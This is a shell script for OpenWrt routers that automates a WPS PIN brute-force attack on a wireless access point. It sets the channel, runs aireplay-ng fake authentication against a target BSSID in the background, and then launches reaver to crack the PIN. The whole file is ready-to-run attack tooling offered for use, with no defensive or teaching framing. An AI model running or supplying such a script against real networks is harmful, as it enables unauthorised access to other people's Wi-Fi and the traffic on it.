#!/bin/ash

if [ $# -lt 3 ]
then
	echo
	echo "Reaver WPS Tool automatization script for OpenWrt"
	echo "(c) 2013 Erinome.net"
	echo
	echo "Usage: $0 <interface> <channel> <bssid>"
	echo
	exit
fi

interface=$1
channel=$2
bssid=$3

cd /tmp

# check if symlink is created
if [ -L /etc/reaver/reaver.db ]
then
	# check if symlink target not ok
	if ! [ -e /tmp/reaver.db ]
	then
		if [ -e /etc/reaver/reaver.db.orig ]
		then
			# copy backup to symlinked location
			cp /etc/reaver/reaver.db.orig /tmp/reaver.db
		else
			echo "Fatal: reaver.db.orig not found!"
			exit 1;
		fi
	fi
else
	# move reaver.db to reaver.db.orig and create symlink
	cp /etc/reaver/reaver.db /tmp/reaver.db
	mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig
	ln -s /tmp/reaver.db /etc/reaver/reaver.db
fi

# make a trap for signal handling
trap "{ killall aireplay-ng; exit; }" SIGINT EXIT

# change wireless channel for aireplay to work
iwconfig $interface channel $channel

# run aireplay-ng to associate since reaver ap association is broken in BE
aireplay-ng -1 5 -a $bssid $interface > /dev/null &

# actually run reaver
reaver -i mon0 -b $bssid -vv -A
